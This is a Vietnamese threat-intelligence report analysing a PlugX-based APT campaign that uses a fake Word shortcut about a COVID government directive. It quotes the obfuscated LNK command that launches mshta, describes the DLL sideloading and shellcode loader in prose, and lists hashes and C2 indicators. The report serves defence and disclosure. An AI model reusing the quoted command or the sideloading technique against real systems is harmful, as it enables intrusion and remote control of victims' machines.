I/ Introduction
Trong thời gian gần đây do diễn biến của dịch COVID 19 khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam.
Mới đây lợi dụng tình hình căng thẳng của dịch cúm COVID-19, mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển được phát hiện đã thực hiện mạo danh văn 3 bản thông báo của chính phủ về tình hình dịch để đánh lừa người dùng. Mã độc được inject trong một file word với tiêu đề: “Chi Thi cua thu tuong nguyen xuan phuc” nhằm đánh lừa người dùng,mãu này hiện được chúng tôi thu thập được thông qua hệ thống CMC Threat Intelligence.
Thông qua hệ thống Threat Intelligence mẫu mã độc này có sự liên quan tới một số mẫu gần đây mà chúng tôi có cảnh báo.
CMC CẢNH BÁO CHIẾN DỊCH APT MỚI LỢI DỤNG UNIKEY TẤN CÔNG NGƯỜI DÙNG VIỆT NAM
CMC CYBER SECURITY PHÂN TÍCH MẪU MALWARE DẠNG LNK CỦA NHÓM APT PANDA
II/ Detail
FILE LNK
File mẫu là 1 file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi. Tuy nhiên file winword này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng:
%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”
Đoạn lệnh trên đã được obfuscate bằng cách sử dụng biến %comspec% để thay cho việc gọi trực tiếp chuỗi “cmd.exe” và chữ “s” trong tên file mshta.exe được lấy bằng cách cắt ký tự cuối cùng trong biến “%windir%”(thường là C:\Windows). Mshta.exe là 1 ứng dụng của microsoft phát triển nhằm tận dụng ưu điểm xây dựng nhanh ứng dụng thông qua html, css, vbscript, javascript. Sử dụngmshta và định dạng file .hta, ta có thể mở 1 trang html như 1 ứng dụng.Định dạng file hta cũng giống như file html. Bằng cách thêm thẻ tag vào trong thẻ của file html ta đã có file hta có thể được mở thông qua ứng dụng mshta.
Tuy nhiên, file hta có thể bị chèn thêm vào trước header của nó. Tận dụng điều này, kẻ tấn công đã chèn vào trước nó 1 file lnk với command mở chính nó bằng mshta.exe để thực thi file .hta nhúng kèm. Khi người dùng mở file lnk, sẽ thực thi command trong target của file lnk và thực thi file msha.exe để mở chính nó.
FILE HTA
Mặc định, mshta.exe có thể thực thi cả javascript và vbscript nhúng trong file hta nhờ sử dụng các dll liên quan. File hta nhúng kèm khi mở lên sẽ có các thuộc tính: chạy thu nhỏ(minimize), không hiện trên taskbar, không có menu và caption. Nhiệm vụ duy nhất của nó là thực thi đoạn mã vbscript độc hại.
Khi vbscipt được thực thi, script này giải mã và lưu vào thư mục %TEMP% 3 file binary ở dạng base64 và 1 file document.
File document sau đó được mở cho user.
Khi này cuộc tấn công sử dụng PLUGX RAT sẽ được thực hiện:
File 3.exe thực chất là một file sạch, tuy nhiên khi thực thi nó sẽ load lên 1 file dll độc hại
Để làm điều này, attacker chỉ cần tìm 1 dll được load bằng hàm LoadLibrary trong file 3.exe(ở trường hợp này là http_dll.dll), sau đó tạo ra 1 file dll độc hại với tên trùng với tham số của hàm LoadLibrary và để cùng thư mục với file 3.exe. Khi gọi LoadLibrary, 3.exe sẽ tìm dll trong cùng thư mục trước và load nó lên.
Khi “http_dll.dll” được load lên nó sẽ tiến hành chuyển hướng thực thi của file PE sang 1 hàm trong DLL bằng cách thay đổi thuộc tính vùng nhớ trên memory của file PE thông qua API VirtualProtect và thay thế code bằng cặp lệnh push, ret.
Tại hàm của DLL mã độc sẽ đọc file http_dll.dat trong cùng thư mục. Nội dung ở phần đầu của file dat này là 1 string có null-terminated và phần data. String này sẽ được sử dụng để là key giải mã cho phần data của file dat.
Sau đó, mã độc sẽ tạo ra 1 vùng nhớ mới để chứa phần giải mã được tiến hành bằng thuật toán xor với key là string trong file dat như trên. Mã độc tiếp tục thay đổi thuộc tính của vùng nhớ mới này bằng thuộc tính PAGE_EXECUTE_READWRITE và thực thi shellcode tại địa chỉ này.
Nội dung giải mã thu được là 1 file PE dạng RAW, tuy nhiên đã được lồng vào rất khéo 1 shellcode, bắt đầu từ offset 0. Shellcode này có nhiệm vụ như 1 loader, load file PE dạng raw này để có thể thực thi được.
Đầu tiên, shellcode tìm địa chỉ của kernel32.dll sau đó lấy địa chỉ các hàm LoadLibray, GetProcAddress, ZwFlushIntructionCache, VirtualAlloc bằng cách so sánh hash tên của các hàm được kernel32 export.
Sau đó, Loader đọc header của file PE, thực hiện map các section lên các vùng nhớ tương ứng, realloc lại một số địa chỉ và resolve lại Import Address Table của file. Sau khi hoàn tất, luồng thực thi chương trình sẽ được chuyển qua hàm DllMain của file PE này.
Final Payload
Tại đây, mã độc sẽ tiến hành lấy 1 số đường dẫn để sử dụng, sau đó giải mã 1 phần data section để sử dụng.
Kết quả giải mã là 1 số strings bao gồm tên khóa autorun, ip c&c server. Sau đó mã độc sẽ tiến hành:
- Tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator.
- Thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy. Đồng thời tự khởi chạy lại nếu đây là lần chạy đầu tiên của nó. Mã độc phân biệt điều này bằng cách chèn thêm 1 tham số nữa cho nó ở các lần chạy tiếp theo.
- Tạo mutex, kết nối đến server để nhận lệnh từ server.
- Tạo backdoor cho phép kẻ tấn công thực thi lệnh từ xa.
- Hỗ trợ nhiều command khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, user,…
3. Kết luận
Bằng cách sử dụng nhiều kỹ thuật tấn công khác nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn công cho phù hợp. APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng ngừa các cuộc tấn công APT, luôn luôn chuẩn bị các phương án đề phòng và giám sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng như cả tổ chức.
HASH
SHA256: BBBEB1A937274825B0434414FA2D9EC629BA846B1E3E33A59C613B54D375E4D2
MD5: 60C89B54029442C5E131F01FF08F84C9
SHA1: 52873A2C81B1F462CDDF3C86B2103F74EF56F91E
C:\Users\admin\AppData\Local\Temp\3.exe:
C3159D4F85CEB84C4A0F7EA9208928E729A30DDDA4FEAD7EC6257C7DD1984763
C:\Users\admin\AppData\Local\Temp\http_dll.dll:
79375C0C05243354F8BA2735BCD086DC8B53AF709D87DA02F9206685095BB035
C2
DOMAIN vietnam.zing.photos
IP 104.160.44.85
By ManhChich – UraSec Team – CMC SOC Center